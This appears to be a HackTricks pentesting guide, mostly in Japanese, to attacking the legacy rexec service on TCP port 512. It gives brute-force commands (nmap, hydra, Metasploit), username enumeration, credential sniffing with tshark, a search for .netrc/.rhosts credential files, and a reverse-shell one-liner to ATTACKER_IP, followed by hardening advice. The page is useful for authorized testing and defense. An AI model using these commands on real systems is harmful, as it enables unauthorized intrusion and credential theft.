512 - Pentesting Rexec
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
基本情報
Rexec (remote exec) は、オリジナルの Berkeley r-services スイートの一つです(rlogin、rsh、…)。
これは、リモートでのコマンド実行機能を提供し、平文のユーザー名とパスワードのみで認証されるものです。
このプロトコルは1980年代初頭に定義され(RFC 1060参照)、現在では設計上安全でないと見なされています。
それでも、一部のレガシーな UNIX / ネットワーク接続機器ではデフォルトで有効になっており、内部 pentests の際に稀に発見されます。
デフォルトポート: TCP 512 (exec)
PORT STATE SERVICE
512/tcp open exec
🔥 全トラフィック(including credentials を含む)は暗号化されずに送信される。ネットワークを盗聴できる人はusername、password、およびcommandを復元できる。
プロトコル概要
- クライアントが TCP 512 に接続する。
- クライアントは3つのNUL-terminated文字列を送信する:
- stdout/stderr を受け取るポート番号(ASCII 表示、通常
0)、 - username、
- password。
- 最後に実行するcommandを含む NUL 終端の文字列が送信される。
- サーバは単一の8ビットステータスバイト(0 = 成功,
1= 失敗)で応答し、その後に command output を返す。
もし最初のフィールドがnon-zeroであれば、サーバはsecond TCP connection back to the clientを開いて stderr に使用する。これはmanual testingおよびサービス周辺のfingerprinting filtering / firewall issuesの両方に便利である。
つまり、echo -e と nc だけでこのやり取りを再現できる:
(echo -ne "0\0user\0password\0id\0"; cat) | nc <target> 512
認証情報が有効な場合、同じ接続上でidの出力がそのまま返ってきます。
専用の listener 上で stderr を受け取りたい場合は、server にあなたへ connect back するよう依頼してください:
nc -lvnp 4444
printf '4444\0user\0password\0id; uname -a\0' | nc <target> 512
Many common implementations (for example GNU rexecd) still enforce 16-byte username/password fields and return different diagnostic strings for invalid usernames vs invalid passwords. That matters during enumeration because some targets leak whether the account exists before you start brute forcing.
クライアントでの手動使用
多くの Linux ディストリビューションは依然としてレガシークライアントを inetutils-rexec / rsh-client パッケージに含めて配布しています:
rexec -l user -p password <target> "uname -a"
-p が省略されると、クライアントは対話形式でパスワードを要求します(通信上で平文として見えてしまいます!)
シェル履歴やプロセスリストにパスワードを残さないようにするため、GNU rexec は stdin から読み取ることもサポートしています:
printf '%s\n' 'password' | rexec -l user -p - <target> "id"
これは not safer on the network; 攻撃元ホスト上でのローカルな露出を減らすだけです。
Enumeration & Brute-forcing
Brute-force
Nmap
nmap -sV -p 512 <target>
# Confirm the classic exec service before credential attacks
nmap -p 512 --script rexec-brute --script-args "userdb=users.txt,passdb=rockyou.txt" <target>
rexec-brute NSE は、上で説明したプロトコルを使用して、認証情報を非常に高速に試行します。
Hydra / Medusa / Ncrack
hydra -L users.txt -P passwords.txt rexec://<target> -s 512 -t 8
hydra には専用の rexec モジュールがあり、依然として最速の offline bruteforcer です。medusa (-M REXEC) と ncrack (rexec module) も同様に使用できます。
サーバーメッセージによるユーザー名列挙
一部の rexecd 実装は Login incorrect. と Password incorrect. のように異なるエラーメッセージを返します。もしこのような挙動を確認したら、先にユーザー名を検証し、その後にパスワードを brute force してください:
printf '0\0root\0wrongpass\0id\0' | nc -w 2 <target> 512 | tail -c +2
printf '0\0definitelynotreal\0wrongpass\0id\0' | nc -w 2 <target> 512 | tail -c +2
メッセージが異なる場合は、大規模な password spray を送る前に valid-user リストを作成してください。
同系の r-services を確認する
rexec 自体は rsh / rlogin の trusted-host ロジックとは異なり、パスワード認証を使用しますが、実際には同じレガシーパッケージ(openbsd-inetd、inetutils、ベンダーの UNIX バンドル)に含まれていることが多いです。TCP 512 が開いている場合、.rhosts / /etc/hosts.equiv の悪用により横移動が容易になる可能性があるため、TCP 513 と 514 も直ちに確認してください:
nmap -sV -p 512,513,514 <target>
関連項目:
Metasploit
use auxiliary/scanner/rservices/rexec_login
set RHOSTS <target>
set USER_FILE users.txt
set PASS_FILE passwords.txt
run
モジュールは成功すると shell を起動し、credentials をデータベースに保存します。
Sniffing credentials
すべてが平文で送信されるため、network captures are priceless。トラフィックのコピーがあれば、target に触れることなく creds を抽出できます:
tshark -r traffic.pcap -Y 'tcp.port == 512' -T fields -e data.decoded | \
awk -F"\\0" '{print $2":"$3" -> "$4}' # username:password -> command
(In Wireshark で Decode As … TCP 512 → REXEC を有効にすると、フィールドが見やすく解析されます。)
Post-Exploitation のヒント
- コマンドは指定されたユーザーの権限で実行されます。
/etc/pam.d/rexecが誤設定されている場合(例:pam_rootok)、root shells が得られることがあります。 - Rexec はユーザーのシェルを無視し、コマンドを
/bin/sh -c <cmd>経由で実行します。したがって、通常のシェル脱出トリック(;,$( ), バックティック)を使って複数コマンドを連結したり、reverse shells を生成したりできます:
rexec -l user -p pass <target> 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'
- パスワードはしばしば
~/.netrcや他のシステムのレガシー自動化スクリプトに保存されています;1台のホストを侵害すれば lateral movement に再利用できる可能性があります:
find / -xdev \( -name .netrc -o -name netrc -o -iname '*rexec*' -o -path '*/.rhosts' \) 2>/dev/null
ハードニング / 検出
- rexec を公開しないこと; SSH に置き換えてください。ほとんどの最新の inetd superservers はデフォルトでこのサービスをコメントアウトしています。
- どうしても残す必要がある場合は、TCP wrappers (
/etc/hosts.allow) やファイアウォールルールでアクセスを制限し、アカウントごとの強力なパスワードを必須にしてください。 - ポート :512 へのトラフィックや
rexecdプロセスの起動を監視してください。単一のパケットキャプチャで侵害を検出できます。 rexec,rlogin,rshをまとめて無効にしてください — これらはほとんど同じコードベースと弱点を共有しています。
参考
- GNU Inetutils
rexecd/rexecドキュメント – https://www.gnu.org/software/inetutils/manual/html_node/rexecd-invocation.html - Nmap NSE
rexec-bruteドキュメント – https://nmap.org/nsedoc/scripts/rexec-brute.html
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。


